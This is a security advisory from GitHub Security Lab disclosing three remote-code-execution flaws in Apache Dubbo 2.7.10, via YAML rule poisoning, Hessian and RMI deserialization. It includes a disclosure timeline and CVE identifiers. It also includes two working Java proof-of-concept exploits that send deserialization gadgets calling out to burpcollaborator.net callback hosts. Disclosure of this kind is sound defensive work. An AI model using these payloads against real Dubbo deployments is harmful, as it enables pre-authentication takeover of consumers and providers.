Coordinated Disclosure Timeline
- 2021-06-25: Issues reported to Apache and Dubbo security teams
- 2021-07-07: Unsafe RMI protocol (GHSL-2021-096) won’t be addressed and will be left to users to enable JEP 290
- 2021-07-07: Unsafe Hessian protocol (GHSL-2021-095) is fixed
- 2021-08-17: Unsafe YAML deserialization (GHSL-2021-094) is fixed
Summary
Multiple vulnerabilities have been found in Apache Dubbo enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers.
Product
Apache Dubbo
Tested Version
Dubbo v2.7.10
Details
Issue 1: RCE on customers via Tag route poisoning (Unsafe YAML unmarshaling) (GHSL-2021-094)
Apache Dubbo recently added support for Mesh App rules which enables a customer to route the request to the right server. These rules are loaded into the configuration center (eg: Zookeeper, Nacos, …) and retrieved by the customers when making a request in order to find the right endpoint.
When parsing these YAML rules, Dubbo customers will use SnakeYAML library to load the rules which by default will enable calling arbitrary constructors:
public void receiveConfigInfo(String configInfo) {
...
try {
VsDestinationGroup vsDestinationGroup = new VsDestinationGroup();
vsDestinationGroup.setAppName(appName);
Yaml yaml = new Yaml();
Yaml yaml2 = new Yaml();
Iterable<Object> objectIterable = yaml.loadAll(configInfo);
for (Object result : objectIterable) {
...
}
vsDestinationGroupHolder = vsDestinationGroup;
} catch (Exception e) {
logger.error("[MeshAppRule] parse failed: " + configInfo, e);
}
...
}
An attacker with access to the configuration center (Zookeeper supports authentication but its is disabled by default and in most installations, and other systems such as Nacos do not even support authentication) will be able to poison a tag rule file so when retrieved by the consumers, it will get RCE on all of them.
Impact
This issue may lead to pre-auth RCE
Issue 2: Unsafe deserialization in providers using the Hessian protocol (GHSL-2021-095)
Users may choose to use the Hessian protocol. The Hessian protocol is implemented on top of HTTP and passes the body of a POST request directly to a HessianSkeleton
:
try {
skeleton.invoke(request.getInputStream(), response.getOutputStream());
} catch (Throwable e) {
throw new ServletException(e);
}
New HessianSkeleton
are created without any configuration of the serialization factory and therefore without applying the dubbo properties for applying allowed or blocked type lists.
In addition, the generic service is always exposed and therefore attackers do not need to figure out a valid service/method name pair.
PoC
package org.pwntester.dubbo;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import marshalsec.Java;
import marshalsec.gadgets.SpringUtil;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ByteArrayEntity;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.springframework.beans.factory.BeanFactory;
import java.io.ByteArrayOutputStream;
public class HessianProtocol {
protected static final String JNDI_URL = "ldap://0ij4o8i8ri8pznf12mh0s0nbu20soh.burpcollaborator.net/foo";
public static Object generate_spring_payload() throws Exception {
BeanFactory bf = SpringUtil.makeJNDITrigger(JNDI_URL);
return SpringUtil.makeBeanFactoryTriggerBFPA(new Java(), JNDI_URL, bf);
}
public static void main(String[] args) throws Exception {
// write header into OS
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] header = new byte[3];
header[0] = (byte)72;
header[1] = (byte)1;
header[2] = (byte)1;
baos.write(header);
byte[] tag = new byte[1];
tag[0] = 67; // C: call
baos.write(tag);
Hessian2Output out = new Hessian2Output(baos);
SerializerFactory factory = out.getSerializerFactory();
factory.setAllowNonSerializable(true);
out.setSerializerFactory(factory);
out.writeString("$invoke");
out.writeInt(3);
out.writeObject("foo");
out.writeObject(new String[]{"foo"});
out.writeObject(new Object[]{generate_spring_payload()});
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
CloseableHttpClient client = HttpClients.createDefault();
HttpPost post = new HttpPost("http://localhost:8080/org.apache.dubbo.samples.basic.api.DemoService/generic");
post.setHeader("Content-Type", "application/octet-stream");
post.setEntity(new ByteArrayEntity(baos.toByteArray()));
HttpResponse response = client.execute(post);
}
}
Impact
This issue may lead to pre-auth RCE
Issue 3: Unsafe deserialization in providers using the RMI protocol (GHSL-2021-096)
Users may choose to use the RMI protocol. The RMI protocol is implemented on top of Spring’s RmiServiceExporter
and uses Java RMI under the hood. RMI uses java native serialization to serialize the arguments of the RMI calls. In addition, the generic service is always exposed since both methods exposed by this service accept a broad java.lang.Object
argument, an attacker will be able to send any arbitrary type and achieve RCE.
PoC
package org.pwntester.dubbo;
import org.apache.dubbo.rpc.service.GenericService;
import org.pwntester.dubbo.utils.Gadgets;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.remoting.rmi.RmiProxyFactoryBean;
@Configuration
public class RMIProtocol {
protected static final String ATTACKER_HOST = "http://vvuz13v34dlkciswfhuv5v067xdo1d.burpcollaborator.net";
@Bean
RmiProxyFactoryBean service() {
RmiProxyFactoryBean rmiProxyFactory = new RmiProxyFactoryBean();
rmiProxyFactory.setServiceUrl("rmi://localhost:1099/org.apache.dubbo.samples.org.apache.dubbo.basic.samples.basic.api.DemoService/generic");
rmiProxyFactory.setServiceInterface(GenericService.class);
return rmiProxyFactory;
}
public static void main(String args[]) throws Exception {
AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(RMIProtocol.class);
GenericService service = context.getBean(GenericService.class);
Object res = service.$invoke("foo", new String[]{""}, new Object[]{Gadgets.generate_urldns_payload(ATTACKER_HOST)});
System.out.println(res);
}
}
Impact
This issue may lead to pre-auth RCE
CVE
- CVE-2021-36162 (YAML GHSL-2021-094)
- CVE-2021-36163 (Hessian GHSL-2021-095)
Credit
These issues were discovered and reported by GHSL team member @pwntester(Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-{094,095,096}
in any communication regarding this issue.